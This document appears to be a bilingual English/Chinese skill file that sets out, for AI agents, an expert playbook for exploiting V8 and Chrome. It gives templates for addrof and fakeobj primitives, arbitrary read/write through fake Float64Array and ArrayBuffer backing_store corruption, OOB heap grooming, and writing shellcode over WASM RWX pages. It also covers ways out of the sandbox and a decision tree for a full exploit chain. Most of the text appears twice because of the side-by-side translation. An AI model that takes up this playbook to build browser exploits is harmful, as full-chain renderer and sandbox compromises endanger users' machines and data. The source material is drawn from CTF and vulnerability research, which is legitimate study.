browser-exploitation-v8
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Browser / V8 Exploitation — Expert Attack Playbook
SKILL: 浏览器/V8漏洞利用 — 专家攻击手册
AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
AI加载说明:专家级V8/Chrome漏洞利用技术,涵盖V8编译流水线、JIT类型混淆、addrof/fakeobj原语、ArrayBuffer损坏、WASM RWX页、V8沙箱(指针压缩)以及Chrome沙箱逃逸概述。内容提炼自ctf-wiki浏览器板块、Project Zero研究以及CTF竞赛常见模式。基础模型经常混淆V8对象表示的细节,且会忽略指针压缩的障碍。
0. RELATED ROUTING
0. 相关关联路径
- sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
- heap-exploitation — general heap concepts applicable to V8 heap
- stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
- binary-protection-bypass — ASLR/NX bypass in browser context
- sandbox-escape-techniques — 通过IPC/Mojo实现Chrome渲染器沙箱逃逸
- heap-exploitation — 适用于V8堆的通用堆概念
- stack-overflow-and-rop — V8逃逸后执行原生代码所需的ROP概念
- binary-protection-bypass — 浏览器场景下的ASLR/NX绕过
Advanced Reference
高级参考资料
Load V8_EXPLOITATION_PATTERNS.md when you need:
- Detailed exploitation patterns and code templates
- Heap layout manipulation and GC interaction
- V8 sandbox bypass techniques
- Object map confusion patterns
当你需要以下内容时加载V8_EXPLOITATION_PATTERNS.md:
- 详细的利用模式和代码模板
- 堆布局操控与GC交互
- V8沙箱绕过技术
- 对象映射混淆模式
1. V8 ARCHITECTURE
1. V8架构
Compilation Pipeline
编译流水线
JavaScript Source
↓ Parser
AST (Abstract Syntax Tree)
↓ Ignition
Bytecode (interpreted, profiling)
↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
Baseline code (fast startup)
↓ Maglev (mid-tier, V8 ≥ 10.2)
Mid-optimized code
↓ TurboFan (optimizing JIT)
Optimized machine code (with speculative optimizations)
↓ Deoptimization (if speculation fails)
Back to Ignition bytecodeJavaScript Source
↓ Parser
AST (Abstract Syntax Tree)
↓ Ignition
Bytecode (interpreted, profiling)
↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
Baseline code (fast startup)
↓ Maglev (mid-tier, V8 ≥ 10.2)
Mid-optimized code
↓ TurboFan (optimizing JIT)
Optimized machine code (with speculative optimizations)
↓ Deoptimization (if speculation fails)
Back to Ignition bytecodeKey V8 Concepts
V8核心概念
| Concept | Description |
|---|---|
| Tagged pointers | SMI (Small Integer): |
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
| Elements kinds | Internal array type: |
| Write barrier | GC bookkeeping when heap pointers are written |
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |
| 概念 | 描述 |
|---|---|
| Tagged pointers | 小整数(SMI): |
| Pointer compression | V8 ≥ 8.0:通过沙箱基地址的32位偏移寻址对象(4GB沙箱) |
| Maps (Hidden Classes) | 定义对象形态:属性名、类型、偏移量 |
| Elements kinds | 内部数组类型: |
| Write barrier | 写入堆指针时的GC记账操作 |
| Garbage collection | Orinoco GC:新生代(Scavenge)和老年代(标记-清除) |
Object Representation (64-bit, pointer compression)
对象表示(64位,指针压缩模式)
HeapObject in V8 heap (compressed):
+0x00: Map pointer (compressed, 32-bit offset)
+0x04: Properties/Hash
+0x08: Elements pointer (compressed)
+0x0C: Length (for arrays)
+0x10: Inline properties or backing store dataHeapObject in V8 heap (compressed):
+0x00: Map pointer (compressed, 32-bit offset)
+0x04: Properties/Hash
+0x08: Elements pointer (compressed)
+0x0C: Length (for arrays)
+0x10: Inline properties or backing store data2. COMMON V8 BUG CLASSES
2. 常见V8漏洞类型
| Bug Class | Description | Example |
|---|---|---|
| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | |
| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
| Typer Bug | Incorrect type range computation in TurboFan | |
| 漏洞类型 | 描述 | 示例 |
|---|---|---|
| JIT类型混淆 | TurboFan优化后假设了错误的类型 | 推测类型守卫被消除,应用了错误的操作 |
| 错误边界消除 | JIT基于错误的范围分析移除了数组边界检查 | |
| 原型链混淆 | 优化假设原型稳定,后续变更导致失效 | 优化后修改原型 → 错误的属性访问 |
| Turbofan规约错误 | 错误的强度削减或常量折叠 | 范围分析中的整数溢出 |
| 竞态条件 | SharedArrayBuffer + 工作线程竞态 | 并发修改导致的类型混淆 |
| 内置函数差一错误 | 内置函数实现中的边界错误 | 字符串/数组边界错误 |
| 类型分析器错误 | TurboFan中错误的类型范围计算 | |
Triggering JIT Optimization
触发JIT优化
javascript
function vuln(arr) {
// ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);javascript
function vuln(arr) {
// ... 存在漏洞的代码路径 ...
}
// 多次调用强制优化
for (let i = 0; i < 100000; i++) {
vuln(arr);
}
// 或使用V8内置语法(仅d8支持):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);3. EXPLOITATION PRIMITIVES
3. 漏洞利用原语
addrof — Leak Object Address
addrof — 泄漏对象地址
javascript
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object
function addrof(obj) {
// Setup depends on specific bug
// Typically: trigger type confusion so array reads obj ref as float
object_array[0] = obj;
return ftoi(confused_float_array[0]); // float-to-int conversion
}javascript
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object
function addrof(obj) {
// 具体实现取决于对应的漏洞
// 通常:触发类型混淆,让数组将对象引用读取为浮点数
object_array[0] = obj;
return ftoi(confused_float_array[0]); // 浮点数转整数
}fakeobj — Create Fake Object Reference
fakeobj — 创建伪造对象引用
javascript
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
// read from confused object array → treated as object reference
function fakeobj(addr) {
confused_float_array[0] = itof(addr); // int-to-float conversion
return object_array[0]; // now a "pointer" to addr
}javascript
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
// read from confused object array → treated as object reference
function fakeobj(addr) {
confused_float_array[0] = itof(addr); // 整数转浮点数
return object_array[0]; // 现在成为指向addr的"指针"
}Building Arbitrary R/W from addrof + fakeobj
基于addrof + fakeobj构建任意读写
javascript
// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);
// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W
function read64(addr) {
// Set fake array's backing_store = addr
write_to_fake_backingstore(addr);
return fake_float64array[0];
}
function write64(addr, value) {
write_to_fake_backingstore(addr);
fake_float64array[0] = value;
}javascript
// 1. 创建布局已知的Float64Array
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);
// 2. 在可控地址伪造一个Float64Array对象,修改其backing_store
// 3. 篡改backing_store指针指向目标地址
// 4. 通过伪造的Float64Array读写 → 实现任意读写
function read64(addr) {
// 将伪造数组的backing_store设置为addr
write_to_fake_backingstore(addr);
return fake_float64array[0];
}
function write64(addr, value) {
write_to_fake_backingstore(addr);
fake_float64array[0] = value;
}4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
4. 通过混淆数组边界实现越界读写
When TurboFan incorrectly eliminates bounds checks:
javascript
function trigger(arr, idx) {
// TurboFan thinks idx is always < arr.length
// But due to bug, idx can exceed bounds
return arr[idx]; // OOB read
}
// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length当TurboFan错误地消除了边界检查时:
javascript
function trigger(arr, idx) {
// TurboFan认为idx始终小于arr.length
// 但由于漏洞,idx可以超出边界
return arr[idx]; // 越界读
}
// 越界读取相邻内存(下一个堆对象的元数据)
// 越界写入篡改下一个对象的map/elements/lengthWhat's Adjacent in V8 Heap?
V8堆中的相邻对象
Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
javascript
let arr1 = new Array(0x10); // spray object
let arr2 = new Float64Array(0x10); // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2V8的新生代(新空间)中对象是顺序分配的,通过控制分配顺序可以实现:
javascript
let arr1 = new Array(0x10); // 喷射对象
let arr2 = new Float64Array(0x10); // 目标:与arr1相邻
// arr1的越界访问可以触及arr2的元数据
// 篡改arr2的长度 → 实现arr2的无限制越界访问5. ARRAYBUFFER ARBITRARY R/W
5. ArrayBuffer实现任意读写
ArrayBufferjavascript
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addrArrayBufferjavascript
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// 如果你可以覆写ab的backing_store指针:
// ab.backing_store = target_addr
// view.getFloat64(0) → 从target_addr读取8字节
// view.setFloat64(0, val) → 写入target_addrV8 Sandbox (Pointer Compression) Impact
V8沙箱(指针压缩)的影响
Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
- is a sandbox pointer (within the V8 cage, 4GB region)
ArrayBuffer.backing_store - Cannot directly point outside the V8 cage
- Need sandbox escape to get full process memory access
自V8 ≥ 8.0(指针压缩)和V8沙箱(≥ 11.x)起:
- 是沙箱指针(位于V8沙箱的4GB区域内)
ArrayBuffer.backing_store - 无法直接指向V8沙箱外部
- 需要沙箱逃逸才能获得完整的进程内存访问权限
6. WASM RWX PAGE
6. WASM RWX页
WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
javascript
// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page
// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcodeModern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.
部分平台上WebAssembly JIT代码会放置在RWX(可读-可写-可执行)页上。
javascript
// 分配WASM模块 → JIT编译到RWX页
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → 指向RWX页
// 如果你可以找到并写入该页:
// 1. addrof(instance) → 找到WASM实例对象
// 2. 指针遍历:instance → jump_table_start → RWX页
// 3. 使用任意写将shellcode写入RWX页
// 4. 调用instance.exports.func() → 执行shellcode现代Chrome:W^X强制机制意味着WASM页同一时间只能是RW或RX状态,不能同时为RWX。JIT代码在RW模式下写入,然后切换为RX模式。利用时需要找到写入窗口或者使用JIT喷射技术。
7. V8 SANDBOX
7. V8沙箱
Architecture (V8 ≥ 11.x)
架构(V8 ≥ 11.x)
Process Virtual Address Space:
┌──────────────────────────────────────┐
│ V8 Sandbox Cage (4GB region) │
│ ├── V8 Heap (JS objects) │
│ ├── ArrayBuffer backing stores │
│ ├── WASM memory │
│ └── External pointer table │
├──────────────────────────────────────┤
│ Process memory outside cage │
│ ├── libc, Chrome code │
│ ├── Stack │
│ └── Other allocations │
└──────────────────────────────────────┘Process Virtual Address Space:
┌──────────────────────────────────────┐
│ V8 Sandbox Cage (4GB region) │
│ ├── V8 Heap (JS objects) │
│ ├── ArrayBuffer backing stores │
│ ├── WASM memory │
│ └── External pointer table │
├──────────────────────────────────────┤
│ Process memory outside cage │
│ ├── libc, Chrome code │
│ ├── Stack │
│ └── Other allocations │
└──────────────────────────────────────┘Sandbox Escape Vectors
沙箱逃逸向量
| Vector | Method |
|---|---|
| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
| JIT code corruption | Write to JIT code page via race condition or confused pointer |
| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
| Backing store seal bypass | Find type confusion to get unsandboxed pointer |
| 向量 | 方法 |
|---|---|
| 外部指针表 | 篡改外部指针表中的条目,使其指向任意地址 |
| WASM代码指针 | 覆写WASM函数入口,跳转到可控的shellcode |
| JIT代码损坏 | 通过竞态条件或混淆指针写入JIT代码页 |
| Mojo IPC (Chrome) | 利用Chrome IPC,从被攻陷的渲染器进程攻击浏览器进程 |
| Backing store密封绕过 | 找到类型混淆漏洞获得非沙箱化指针 |
8. CHROME SANDBOX ESCAPE (OVERVIEW)
8. Chrome沙箱逃逸(概述)
After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:
| Stage | Target | Example |
|---|---|---|
| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
| Browser process exploit | Privileged browser process | Code execution outside sandbox |
Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.
通过V8漏洞实现渲染器RCE后,进程仍然处于沙箱中。完全攻陷需要:
| 阶段 | 目标 | 示例 |
|---|---|---|
| 渲染器漏洞利用 | V8 / Blink DOM | 类型混淆 → shellcode |
| IPC/Mojo漏洞 | Chrome IPC层 | Mojo接口中的释放后使用漏洞 |
| 浏览器进程漏洞利用 | 特权浏览器进程 | 沙箱外的代码执行 |
Mojo接口(Chrome的IPC)暴露了攻击面:可以在Mojo消息处理逻辑中寻找释放后使用或者类型混淆漏洞。
9. TOOLS
9. 工具
bash
undefinedbash
undefinedV8 debugging
V8调试
d8 --allow-natives-syntax exploit.js # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js # Dump TurboFan IR
d8 --print-opt-code exploit.js # Print optimized machine code
d8 --allow-natives-syntax exploit.js # 启用V8内置语法 (%DebugPrint等)
d8 --trace-turbo exploit.js # 导出TurboFan IR
d8 --print-opt-code exploit.js # 打印优化后的机器码
Turbolizer: visual TurboFan IR graph
Turbolizer: 可视化TurboFan IR图
Chrome DevTools Memory panel: heap snapshots
Chrome DevTools Memory面板: 堆快照
Build V8 for debugging
编译调试版V8
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8
---git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8
---10. DECISION TREE
10. 决策树
V8 vulnerability identified
├── Bug type?
│ ├── JIT type confusion → trigger optimization, confuse array element kinds
│ ├── Bounds check elimination → OOB read/write on array
│ ├── Typer bug → incorrect range leads to OOB
│ └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│ ├── Can confuse object array ↔ float array?
│ │ └── addrof + fakeobj → arbitrary R/W within V8 heap
│ ├── OOB on array?
│ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│ └── Direct write primitive?
│ └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│ ├── YES (modern Chrome) →
│ │ ├── R/W limited to V8 cage (4GB)
│ │ ├── Need sandbox escape: external pointer table corruption,
│ │ │ WASM code pointer overwrite, or Mojo bug
│ │ └── Then proceed to shellcode execution
│ └── NO (older V8, CTF, d8) →
│ ├── Corrupt ArrayBuffer backing_store → absolute R/W
│ └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│ ├── WASM RWX page available? → write shellcode, call WASM func
│ ├── JIT code writable? → overwrite JIT code
│ └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
├── Stage 1: V8 bug → renderer RCE
├── Stage 2: Mojo IPC bug → browser process compromise
└── Stage 3: OS-level escalation (if needed)V8 vulnerability identified
├── Bug type?
│ ├── JIT type confusion → trigger optimization, confuse array element kinds
│ ├── Bounds check elimination → OOB read/write on array
│ ├── Typer bug → incorrect range leads to OOB
│ └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│ ├── Can confuse object array ↔ float array?
│ │ └── addrof + fakeobj → arbitrary R/W within V8 heap
│ ├── OOB on array?
│ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│ └── Direct write primitive?
│ └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│ ├── YES (modern Chrome) →
│ │ ├── R/W limited to V8 cage (4GB)
│ │ ├── Need sandbox escape: external pointer table corruption,
│ │ │ WASM code pointer overwrite, or Mojo bug
│ │ └── Then proceed to shellcode execution
│ └── NO (older V8, CTF, d8) →
│ ├── Corrupt ArrayBuffer backing_store → absolute R/W
│ └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│ ├── WASM RWX page available? → write shellcode, call WASM func
│ ├── JIT code writable? → overwrite JIT code
│ └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
├── Stage 1: V8 bug → renderer RCE
├── Stage 2: Mojo IPC bug → browser process compromise
└── Stage 3: OS-level escalation (if needed)